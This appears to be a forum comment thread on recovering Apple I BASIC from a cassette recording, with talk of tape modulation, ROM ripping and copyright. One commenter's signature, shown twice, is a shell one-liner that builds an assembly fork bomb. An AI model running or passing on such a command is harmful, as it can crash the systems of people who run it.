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1200-Baud Archeology
jamie found this singularly geeky article on reconstructing Apple I BASIC from a cassette tape. It claims to offer the first confirmed perfect dump (BIN) of the 4096 bytes of this venerable interpreter. Terrific fun for the whole family. "The Apple I is extremely rare. Only 200 were built, and less than 100 are believed to be in existence. Neither Steve nor Woz own an Apple I any more, and neither does Apple Inc. The cassettes are even rarer, as not every Apple I came with one... So here is how to decode the signal. Let us first open the audio file in Audacity and look at the waveform... It is now time to write a small program to measure and dump the width of the pulses."
Probably would have been useful for the person to look at how C64 emulators and people handle transfer C64 tapes to PC.
Yes. But a few people did some very magical things with tapes before the became obsolete. I saw a demo of a turbo tape system on an Atari 800XL which could load games "faster than a disk drive". Actually it about tied, but that was still impressive. The disk drive could probably managed 9600 baud sustained.
The modulator / demodulator was lump of potted electronics I could easily fit in my hand. Potting compound was a blank gunk you applied to electronics you didn't want people to tamper with, in this case to stop people seeing the components used. But whatever they were they could modulate and demodulate data at around 9600 baud. This was in the 80's back before DSPs too, so whatever circuit was used must have been made of Op Amps, transistors and passive components.
I never worked out how it worked. Though I can imagine exploiting the stereo nature of the tapes to send one carrier and phase shifted signal might work. Phase modulation is easy and demodulation is too if you have the carrier. Still phase modulation at 9kbaud+ would be a tight fit on an audio tape. I don't think things like QAM would be possible given the size of the package, the selling price (about twenty English pounds, or $40), and the primitive nature of 80's technology.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Reminds me of my housemate and I at university ('92-'95) using the tape control relay on an Acorn Electron wired to a PC serial port to rip the ROM so we could start writing an emulator. A small BASIC program PWM encoded the whole ROM in about an hour IIRC. Was a great start to the project, we got as far as CPU emulator, multi-window debugger, VGA display driver, and had it running basic no problems. He got it reading WAV's of games recorded from tape too. Got as far as the in-game screen of Chuckie Egg before we ran out of knowledge and became stuck trying to fathom the hardware keyboard input. (for the BASIC interpreter we just injected characters into the key buffer). Ahh, happy days. :o)
I have a TI-99/4A that has been dead for nearly two decades, along with several hours worth of data stored on cassettes. I would love to recover the data off of those tapes. Most of it is the type of stuff a 10 year old would write in TI BASIC (and Extended Basic!), and it would really bring back some fond memories and certainly some good laughs.
Are there any generic utilities that can extract binary out of low-baud modem audio files? With the advantage of performing various audio processing and analysis in a non-linear, non-realtime manner, certainly data could be extracted by modern software that not even the actual legacy computer could decode.
Better known as 318230.
I think that at least the basic interpreter should be taught to the new generations.
To rain on the parade, I wonder if there is a copyright violation in posting the code online un-edited. How long is copyright nowdays?
It's something we need to address in this age of IP property where the market has expired years ago but the copyright is in force for many more decades.
The truth shall set you free!
My 6502 system accessed the tape at 300 baud. I used an old cassette recorder for the job. I had my eyes on my uncles reel to reel hi-fi system. I reckon I could have got 9600 baud out of that just by exploiting the frequency response.
http://michaelsmith.id.au
The computer I designed and built around 1981 did 9600 bps with some TTL logic i designed myself. The format used was Manchester II, very simple to encode and decode if the clock can be recovered (the difficult part) for the decode phase. I think I used less PCB space than what was needed for the common 300 bps Kansas City format.
Apple Inc does own an Apple I
It is actually owned by Apple Computer Australia, and on loan and display at the Powerhouse Museum in Sydney.
For many years, it was under a glass box in the foyer of the Apple Australia offices.
Still phase modulation at 9kbaud+ would be a tight fit on an audio tape. I don't think things like QAM would be possible given the size of the package
Quadrature amplitude modulation was in use in the 1960s: it's just two AM carriers out of phase by 90 degrees. The color encoding in NTSC and PAL used QAM.
The computer I designed and built around 1981 did 9600 bps with some TTL logic i designed myself. The format used was Manchester II, very simple to encode and decode if the clock can be recovered (the difficult part) for the decode phase. I think I used less PCB space than what was needed for the common 300 bps Kansas City format.
When the Atari sent data to the tape it had an internal modulator. But IIRC the demodulator was in the tape deck. And in any case you could output data to the disk drive, when it was a selectable baud 0-19200 rate and not modulated. So it seems like the turbo tape interface could use custom software to get 9600 baud TTL data to or from the tape and do its 9600 modem baud magic internally with a handful of components.
Tapes are stereo, so you could send the clock one one channel and the phase shifted clock (the signal) on the other.
You need an oscillator and a phase shifter made out of an XOR gate to modulate. Shifted single goes on one channel say left, unshifted one on the other, say right
To demodulate you use a phase detector made out of an XOR gate to compare the phase of the two channels.
This would be analogous to Manchester BPSK coding, except that you use one of the two audio channels to store the carrier so you don't need to spend expensive electronics regenerating it.
So something like this seems plausible. Unfortunately I didn't know enough about electronics back in the Atari days to try it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Tape, yes. But do you remember 45rpm floppy 7" "records" that came with magazines? Or programs broadcast over the radio late at night?
I've just written this article, coincidentally:
http://mark.tranchant.co.uk/2008/07/a-unique-generation
Ydco co
The interesting thing about this article is:
This could have been done so much more easily :)
MESS emulates the Apple I, can read WAVE files, and the entire source code is available. :)
I miss my old CoCo3, but I hated cassette tapes. The saddest thing is that Audio Cassettes were designed to be lousy as a data storage media - they used two sides (interference), and were created to record just human voice. The only other option were floppy drives, and back then they were expensive and/or overpriced ($200 and up) which is equivalent to $400+ now in 2008. Most drives had to include the entire controller I/O inside the unit, and probably also a disk OS.
Of course I would! But this gets sticky. I gave away the Apple I schematics and monitor ROM (256 bytes to replace a front panel with a keyboard) but only a couple of copies of the BASIC, which I also intended to be in the open domain. I don't know if I ever gave away the completed Apple I BASIC because by then it was virtually the same for the Apple ][ (now completed) as well. We took the steps to retain the copyright for BASIC on the Apple ][. Any steps we took for the Apple I would be in the gray. I can't believe that it matters to Apple at all anyway.